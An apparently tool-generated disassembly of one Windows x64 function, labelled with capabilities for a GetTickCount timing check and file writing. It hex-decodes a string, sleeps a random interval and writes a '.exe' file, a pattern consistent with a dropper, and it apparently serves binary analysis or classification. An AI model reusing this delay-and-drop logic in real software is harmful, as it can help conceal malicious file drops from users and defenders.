Function at 0x1400024e0
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rdx, rcx
xor r15d, r15d
mov dword [rsp + 0x30], r15d
lea rsi, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0xf8], rsi
lea r14, vtable.CVolObject.0
mov qword [rbp + 0xf8], r14
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], r15
or qword [rbp + 0x100], 1
lea rcx, [rbp + 0xf8]
call fcn.140009df0
nop
mov qword [rbp + 0xf8], r14
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
lea r12, vtable.CVolMem.0
mov qword [rbp - 0x18], r12
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], 0x40
or qword [rbp - 0x10], 1
lea rdx, [rbp - 0x18]
mov rcx, qword [0x14027fc58]
call fcn.140009df0
nop
mov qword [rbp - 0x18], r12
mov rdx, qword [rbp]
test rdx, rdx
je 0x1400025b6
lea rcx, [rbp - 0x18]
mov rax, qword [rbp - 0x18]
call qword [rax + 0x18]
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 8], r15
mov qword [rbp - 0x18], r14
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x180], r14
mov qword [rbp + 0x188], r15
mov qword [rbp + 0x190], r15
lea rdi, vtable.CWString.0
mov qword [rbp + 0x180], rdi
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x1a0], rsi
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x1a8], r15
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1b8], r15
mov qword [rbp + 0x1c8], r15
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1d0], 0x40
mov qword [rbp + 0x198], r15
mov qword [rbp + 0x1d0], 0xfe
lea rcx, [rsp + 0x38]
call fcn.140004940
mov rbx, rax
lea rcx, [rbp + 0x180]
mov rdx, qword [rbp + 0x180]
call qword [rdx + 0x88]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x188], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x190], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp + 0x198], rcx
lea rcx, [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1a0]
call qword [rdx + 0x88]
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x1a0]
call fcn.140005fd0
nop
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], r12
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x1400026e2
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x38], r14
mov r8d, 2
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x180]
call fcn.140018400
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000272c
cmp qword [rax + 0x48], rcx
lea rcx, [0x140236510]
je 0x14000272c
mov rcx, qword [rax + 0x38]
movzx ebx, word [rcx]
sub ebx, 0x2d
jne 0x140002747
movzx ebx, word [rcx + 2]
sub ebx, 0x2e
jne 0x140002747
movzx ebx, word [rcx + 4]
movzx eax, r15w
sub ebx, eax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], r12
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x14000276f
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x38], r14
test ebx, ebx
jne 0x14000407a
lea rcx, [rbp - 0x18]
call fcn.14000e1f0
nop
lea r8d, [rbx + 4]
lea rdx, [rbp - 0x70]
mov rcx, rax
call fcn.140018400
nop
mov r13d, 1
mov r8d, r13d
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.140018170
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x1400027db
cmp qword [rax + 0x48], rcx
lea rcx, [0x140236510]
je 0x1400027db
mov rcx, qword [rax + 0x38]
movzx ebx, word [rcx]
sub ebx, 0x30
jne 0x1400027ed
movzx ebx, word [rcx + 2]
movzx eax, r15w
sub ebx, eax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], r12
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x140002815
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x38], r14
lea rax, [rbp - 0x50]
mov qword [rbp + 0x450], rax
mov qword [rbp - 0x50], r12
mov rdx, qword [rbp - 0x38]
test rdx, rdx
je 0x140002850
lea rcx, [rbp - 0x50]
mov rax, qword [rbp - 0x50]
call qword [rax + 0x18]
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x70], r14
lea rax, [rbp + 8]
mov qword [rbp + 0x450], rax
mov qword [rbp + 8], r12
mov rdx, qword [rbp + 0x20]
test rdx, rdx
je 0x140002887
lea rcx, [rbp + 8]
mov rax, qword [rbp + 8]
call qword [rax + 0x18]
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 8], r14
mov qword [rbp - 0x18], r14
test ebx, ebx
je 0x1400028a4
call fcn.14000ef30
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], r15
mov qword [rbp + 0x130], r15
mov qword [rbp + 0x120], rdi
lea rax, [rbp + 0x140]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], r15
mov qword [rbp + 0x150], r15
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x158], r15
mov qword [rbp + 0x168], r15
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x170], 0x40
mov qword [rbp + 0x138], r15
mov qword [rbp + 0x170], 0xfe
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x40], rdi
lea rax, [rbp + 0x60]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x90], 0x40
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x90], 0xfe
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
mov qword [rbp - 0x18], rdi
lea rax, [rbp + 8]
mov qword [rbp + 0x450], rax
mov qword [rbp + 8], rsi
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 8], r12
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x38], 0x40
mov qword [rbp], r15
mov qword [rbp + 0x38], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp - 0x18], rax
lea r8, [0x140239678]
mov qword [rbp], r8
lea rdx, [0x140236510]
mov rax, qword [rbp]
test rax, rax
cmovne rdx, rax
mov r14, 0xffffffffffffffff
mov r15, qword [rbp + 0x1b8]
mov r10, qword [rbp + 0x1c8]
mov rsi, qword [rbp + 0x198]
test rsi, rsi
je 0x140002a3c
mov rax, rsi
mov rcx, r14
nop dword [rax + rax]
inc rcx
cmp word [rsi + rcx*2], 0
jne 0x140002a30
jmp 0x140002a5c
test r10, r10
jne 0x140002a50
lea rax, [0x140236510]
xor r12d, r12d
mov ecx, r12d
jmp 0x140002a6c
mov rax, r15
mov rcx, r10
shr rcx, 1
dec rcx
cmp rcx, r14
jge 0x140002a69
mov rcx, r14
jmp 0x140002b18
xor r12d, r12d
test rdx, rdx
je 0x140002b11
cmp word [rdx], 0
je 0x140002b11
test rcx, rcx
jle 0x140002b0e
mov r8, r14
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140002a90
test r8, r8
jns 0x140002ab1
mov r8, r14
inc r8
cmp word [rdx + r8*2], 0
jne 0x140002aa3
test r8, r8
jle 0x140002b0e
mov rdi, rcx
sub rdi, r8
inc rdi
test rdi, rdi
jle 0x140002b0e
lea r11, [rax - 2]
lea r11, [r11 + rcx*2]
mov rbx, r12
lea rax, [r8 + r8]
sub rax, r11
lea r9, [rdx - 2]
add r9, rax
nop word [rax + rax]
mov rcx, r11
mov rdx, r12
cmp rdx, r8
je 0x140002b2d
movzx eax, word [rcx + r9]
cmp word [rcx], ax
jne 0x140002afe
inc rdx
sub rcx, 2
jmp 0x140002ae6
inc rbx
sub r11, 2
add r9, 2
cmp rbx, rdi
jl 0x140002ae0
mov rcx, r14
lea r12, vtable.CVolMem.0
test rsi, rsi
je 0x140002b59
mov r10, r14
inc r10
cmp word [rsi + r10*2], 0
jne 0x140002b20
jmp 0x140002b6c
add rcx, 2
je 0x140002b0e
test rsi, rsi
je 0x140002b43
mov rax, rsi
sub rcx, rax
sar rcx, 1
jmp 0x140002b11
lea rax, [0x140236510]
test r10, r10
cmovne rax, r15
sub rcx, rax
sar rcx, 1
jmp 0x140002b11
test r10, r10
jne 0x140002b66
xor r15d, r15d
mov r10d, r15d
jmp 0x140002b6f
shr r10, 1
dec r10
xor r15d, r15d
sub r10d, ecx
movsxd r8, r10d
dec r8
lea rcx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp - 0x70], rcx
lea rsi, vtable.CVolObject.0
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r15
lea rdx, vtable.CWString.0
mov qword [rbp - 0x70], rdx
lea rax, [rbp - 0x50]
mov qword [rbp + 0x450], rax
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], 0x40
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x20], 0xfe
mov dword [rsp + 0x30], r13d
mov r9, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x198]
test rax, rax
je 0x140002c0c
mov rcx, r14
nop dword [rax + rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140002c00
jmp 0x140002c1f
test r9, r9
jne 0x140002c16
mov rcx, r15
jmp 0x140002c1f
mov rcx, r9
shr rcx, 1
dec rcx
mov rdx, rcx
cmp r8, rcx
cmovl rdx, r8
test rdx, rdx
jle 0x140002cff
test rax, rax
jne 0x140002c49
lea rax, [0x140236510]
test r9, r9
cmovne rax, qword [rbp + 0x1b8]
lea rdi, [rdx*2 + 2]
sub rcx, rdx
lea rbx, [rax + rcx*2]
mov rax, qword [rbp - 0x30]
mov rsi, qword [rbp - 0x28]
sub rax, rsi
cmp rax, rdi
jl 0x140002cc7
cmp rdi, 2
jne 0x140002c89
test rbx, rbx
movzx ecx, r15w
je 0x140002c7a
movzx ecx, word [rbx]
mov rax, qword [rbp - 0x38]
mov word [rax + rsi], cx
add qword [rbp - 0x28], 2
jmp 0x140002cf8
cmp rdi, 4
jne 0x140002ca7
test rbx, rbx
mov ecx, r15d
je 0x140002c99
mov ecx, dword [rbx]
mov rax, qword [rbp - 0x38]
mov dword [rax + rsi], ecx
add qword [rbp - 0x28], 4
jmp 0x140002cf8
cmp rdi, 8
jne 0x140002cc7
test rbx, rbx
mov rcx, r15
je 0x140002cb8
mov rcx, qword [rbx]
mov rax, qword [rbp - 0x38]
mov qword [rax + rsi], rcx
add qword [rbp - 0x28], 8
jmp 0x140002cf8
test rdi, rdi
jle 0x140002cf8
lea rdx, [rsi + rdi]
lea rcx, [rbp - 0x50]
call fcn.140016060
add rax, rsi
mov r8, rdi
mov rcx, rax
test rbx, rbx
je 0x140002cf1
mov rdx, rbx
call fcn.1401b7180
jmp 0x140002cf8
xor edx, edx
call fcn.1401b7590
lea rsi, vtable.CVolObject.0
lea rcx, [rbp + 0x40]
mov rax, qword [rbp + 0x40]
call qword [rax + 0x88]
mov rax, qword [rbp - 0x68]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x58], rax
lea rcx, [rbp + 0x60]
mov rax, qword [rbp + 0x60]
call qword [rax + 0x88]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x60]
call fcn.140005fd0
mov r12d, r13d
and r12d, 0xfffffffe
mov dword [rsp + 0x30], r12d
lea rax, [rbp - 0x50]
mov qword [rbp + 0x450], rax
lea rdi, vtable.CVolMem.0
mov qword [rbp - 0x50], rdi
mov rdx, qword [rbp - 0x38]
test rdx, rdx
je 0x140002d76
lea rcx, [rbp - 0x50]
mov rax, qword [rbp - 0x50]
call qword [rax + 0x18]
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x70], rsi
lea rax, [rbp + 8]
mov qword [rbp + 0x450], rax
mov qword [rbp + 8], rdi
mov rdx, qword [rbp + 0x20]
test rdx, rdx
je 0x140002dad
lea rcx, [rbp + 8]
mov rax, qword [rbp + 8]
call qword [rax + 0x18]
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 8], rsi
mov qword [rbp - 0x18], rsi
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x140002ddc
mov rax, r14
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002dd0
jmp 0x140002df3
mov rax, qword [rbp + 0x88]
test rax, rax
jne 0x140002ded
mov rax, r15
jmp 0x140002df3
shr rax, 1
dec rax
movsxd r8, eax
sub r8, 2
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.140018170
mov rbx, rax
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x40]
call qword [rdx + 0x88]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x48], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x50], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp + 0x58], rcx
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x60]
call qword [rdx + 0x88]
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x60]
call fcn.140005fd0
nop
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], rdi
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x140002e75
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x38], rsi
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
mov qword [rbp - 0x18], rdi
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], 0x40
mov rdi, qword [rbp + 0x58]
test rdi, rdi
jne 0x140002ee4
cmp qword [rbp + 0x88], rdi
jne 0x140002ed7
lea rdi, [0x140236510]
jmp 0x140002ee4
mov rdi, qword [rbp + 0x78]
test rdi, rdi
je 0x140002fae
cmp word [rdi], 0
je 0x140002fae
mov rsi, r14
inc rsi
cmp word [rdi + rsi*2], 0
jne 0x140002ef1
shr rsi, 1
je 0x140002fa7
mov rbx, qword [rbp + 0x10]
lea rdx, [rbx + rsi]
lea rcx, [rbp - 0x18]
call fcn.140016060
lea r15, [rbx + rax]
mov r8, rsi
xor edx, edx
mov rcx, r15
call fcn.1401b7590
nop word [rax + rax]
movzx ecx, word [rdi]
lea eax, [rcx - 0x30]
cmp ax, 9
ja 0x140002f41
sub cl, 0x30
jmp 0x140002f5f
lea eax, [rcx - 0x41]
cmp ax, 5
ja 0x140002f4f
sub cl, 0x37
jmp 0x140002f5f
lea eax, [rcx - 0x61]
cmp ax, 5
ja 0x140002f5d
sub cl, 0x57
jmp 0x140002f5f
mov cl, 0xff
movzx edx, word [rdi + 2]
lea eax, [rdx - 0x30]
cmp ax, 9
ja 0x140002f71
sub dl, 0x30
jmp 0x140002f8f
lea eax, [rdx - 0x41]
cmp ax, 5
ja 0x140002f7f
sub dl, 0x37
jmp 0x140002f8f
lea eax, [rdx - 0x61]
cmp ax, 5
ja 0x140002f8d
sub dl, 0x57
jmp 0x140002f8f
mov dl, 0xff
shl cl, 4
or cl, dl
mov byte [r15], cl
inc r15
add rdi, 4
sub rsi, 1
jne 0x140002f30
xor r15d, r15d
lea rsi, vtable.CVolObject.0
mov r8d, 0xa
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x70]
call fcn.140004b00
nop
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.14000fb80
mov rbx, rax
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x40]
call qword [rdx + 0x88]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x48], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x50], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp + 0x58], rcx
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x60]
call qword [rdx + 0x88]
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x60]
call fcn.140005fd0
nop
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x450], rax
lea rbx, vtable.CVolMem.0
mov qword [rbp + 0xc0], rbx
mov rdx, qword [rbp + 0xd8]
test rdx, rdx
je 0x14000304f
lea rcx, [rbp + 0xc0]
mov rax, qword [rbp + 0xc0]
call qword [rax + 0x18]
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xa0], rsi
mov qword [rbp - 0x70], rbx
mov rdx, qword [rbp - 0x58]
test rdx, rdx
je 0x14000308a
lea rcx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
call qword [rax + 0x18]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x18], rbx
mov rdx, qword [rbp]
test rdx, rdx
je 0x1400030b2
lea rcx, [rbp - 0x18]
mov rax, qword [rbp - 0x18]
call qword [rax + 0x18]
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 8], r15
mov qword [rbp - 0x18], rsi
lea rcx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea rax, vtable.CWString.0
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x78], 0x40
mov qword [rsp + 0x50], r15
mov qword [rbp - 0x78], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rsp + 0x38], rax
lea rax, [0x140239714]
mov qword [rsp + 0x50], rax
lea rdx, [0x140236510]
mov rax, qword [rsp + 0x50]
test rax, rax
cmovne rdx, rax
mov r15, qword [rbp + 0x78]
mov r10, qword [rbp + 0x88]
mov rsi, qword [rbp + 0x58]
test rsi, rsi
je 0x140003182
mov rax, rsi
mov rcx, r14
inc rcx
cmp word [rsi + rcx*2], 0
jne 0x140003176
jmp 0x14000319e
test r10, r10
jne 0x140003192
lea rax, [0x140236510]
xor ecx, ecx
jmp 0x1400031a8
mov rax, r15
mov rcx, r10
shr rcx, 1
dec rcx
cmp rcx, 0xffffffffffffffff
jl 0x14000324d
test rdx, rdx
je 0x140003250
cmp word [rdx], 0
je 0x140003250
test rcx, rcx
jle 0x14000324d
mov r8, r14
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400031d0
test r8, r8
jns 0x1400031f1
mov r8, r14
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400031e3
test r8, r8
jle 0x14000324d
mov rdi, rcx
sub rdi, r8
inc rdi
test rdi, rdi
jle 0x14000324d
lea r11, [rax - 2]
lea r11, [r11 + rcx*2]
xor ebx, ebx
lea rax, [r8 + r8]
sub rax, r11
lea r9, [rdx - 2]
add r9, rax
nop dword [rax]
mov rcx, r11
xor edx, edx
cmp rdx, r8
je 0x14000326d
movzx eax, word [rcx + r9]
cmp word [rcx], ax
jne 0x14000323d
inc rdx
sub rcx, 2
jmp 0x140003225
inc rbx
sub r11, 2
add r9, 2
cmp rbx, rdi
jl 0x140003220
mov rcx, r14
test rsi, rsi
je 0x140003299
mov r10, r14
nop dword [rax + rax]
inc r10
cmp word [rsi + r10*2], 0
jne 0x140003260
jmp 0x1400032ac
add rcx, 2
je 0x14000324d
test rsi, rsi
je 0x140003283
mov rax, rsi
sub rcx, rax
sar rcx, 1
jmp 0x140003250
lea rax, [0x140236510]
test r10, r10
cmovne rax, r15
sub rcx, rax
sar rcx, 1
jmp 0x140003250
test r10, r10
jne 0x1400032a6
xor r15d, r15d
mov r10d, r15d
jmp 0x1400032af
shr r10, 1
dec r10
xor r15d, r15d
sub r10d, ecx
movsxd r8, r10d
dec r8
lea rsi, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp - 0x70], rsi
lea rbx, vtable.CVolObject.0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r15
lea rax, vtable.CWString.0
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x450], rax
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r15
lea rax, vtable.CVolMem.0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], 0x40
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x20], 0xfe
or r12d, 2
mov dword [rsp + 0x30], r12d
mov r9, qword [rbp + 0x88]
mov rax, qword [rbp + 0x58]
test rax, rax
je 0x14000334f
mov rcx, r14
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140003343
jmp 0x140003362
test r9, r9
jne 0x140003359
mov rcx, r15
jmp 0x140003362
mov rcx, r9
shr rcx, 1
dec rcx
mov rdx, rcx
cmp r8, rcx
cmovl rdx, r8
test rdx, rdx
jle 0x140003446
test rax, rax
jne 0x140003389
lea rax, [0x140236510]
test r9, r9
cmovne rax, qword [rbp + 0x78]
lea rdi, [rdx*2 + 2]
sub rcx, rdx
lea rbx, [rax + rcx*2]
mov rax, qword [rbp - 0x30]
mov rsi, qword [rbp - 0x28]
sub rax, rsi
cmp rax, rdi
jl 0x140003407
cmp rdi, 2
jne 0x1400033c9
test rbx, rbx
movzx ecx, r15w
je 0x1400033ba
movzx ecx, word [rbx]
mov rax, qword [rbp - 0x38]
mov word [rax + rsi], cx
add qword [rbp - 0x28], 2
jmp 0x140003438
cmp rdi, 4
jne 0x1400033e7
test rbx, rbx
mov ecx, r15d
je 0x1400033d9
mov ecx, dword [rbx]
mov rax, qword [rbp - 0x38]
mov dword [rax + rsi], ecx
add qword [rbp - 0x28], 4
jmp 0x140003438
cmp rdi, 8
jne 0x140003407
test rbx, rbx
mov rcx, r15
je 0x1400033f8
mov rcx, qword [rbx]
mov rax, qword [rbp - 0x38]
mov qword [rax + rsi], rcx
add qword [rbp - 0x28], 8
jmp 0x140003438
test rdi, rdi
jle 0x140003438
lea rdx, [rdi + rsi]
lea rcx, [rbp - 0x50]
call fcn.140016060
add rax, rsi
mov r8, rdi
mov rcx, rax
test rbx, rbx
je 0x140003431
mov rdx, rbx
call fcn.1401b7180
jmp 0x140003438
xor edx, edx
call fcn.1401b7590
lea rsi, vtable.CVolCommonBaseWithMemManager.0
lea rbx, vtable.CVolObject.0
lea rcx, [rbp + 0x120]
mov rax, qword [rbp + 0x120]
call qword [rax + 0x88]
mov rax, qword [rbp - 0x68]
mov qword [rbp + 0x128], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x138], rax
lea rcx, [rbp + 0x140]
mov rax, qword [rbp + 0x140]
call qword [rax + 0x88]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x140]
call fcn.140005fd0
and r12d, 0xfffffffd
mov dword [rsp + 0x30], r12d
lea rax, [rbp - 0x50]
mov qword [rbp + 0x450], rax
lea rax, vtable.CVolMem.0
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp - 0x38]
test rdx, rdx
je 0x1400034d2
lea rcx, [rbp - 0x50]
mov rax, qword [rbp - 0x50]
call qword [rax + 0x18]
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x70], rbx
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
lea rax, vtable.CVolMem.0
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x140003515
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x38], rbx
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x14000354c
mov rax, r14
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140003540
jmp 0x140003563
mov rax, qword [rbp + 0x88]
test rax, rax
jne 0x14000355d
mov rax, r15
jmp 0x140003563
shr rax, 1
dec rax
mov rcx, qword [rbp + 0x138]
test rcx, rcx
je 0x14000357d
nop
inc r14
cmp word [rcx + r14*2], 0
jne 0x140003570
jmp 0x140003594
mov r14, qword [rbp + 0x168]
test r14, r14
jne 0x14000358e
mov r14, r15
jmp 0x140003594
shr r14, 1
dec r14
sub eax, r14d
movsxd r8, eax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.140018170
mov rbx, rax
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x40]
call qword [rdx + 0x88]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x48], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x50], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp + 0x58], rcx
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x60]
call qword [rdx + 0x88]
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x60]
call fcn.140005fd0
nop
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x450], rax
lea rbx, vtable.CVolMem.0
mov qword [rbp + 0xc0], rbx
mov rdx, qword [rbp + 0xd8]
test rdx, rdx
je 0x140003628
lea rcx, [rbp + 0xc0]
mov rax, qword [rbp + 0xc0]
call qword [rax + 0x18]
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xe0], r15
lea r14, vtable.CVolObject.0
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xa0], r14
lea rcx, [rbp + 0xf8]
call fcn.14000e420
nop
cmp qword [0x14027ffe0], 0
jne 0x14000367d
mov qword [0x14027ffe0], r13
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bd52c
call fcn.1401bd500
movsxd rcx, eax
movabs rdi, 0x4180d4e2b3e0c89b
mov rax, rdi
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x7d1
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x38]
call fcn.140018780
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140018930
nop
mov r9d, r13d
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.14000e520
nop
lea rax, [rbp + 0xc0]
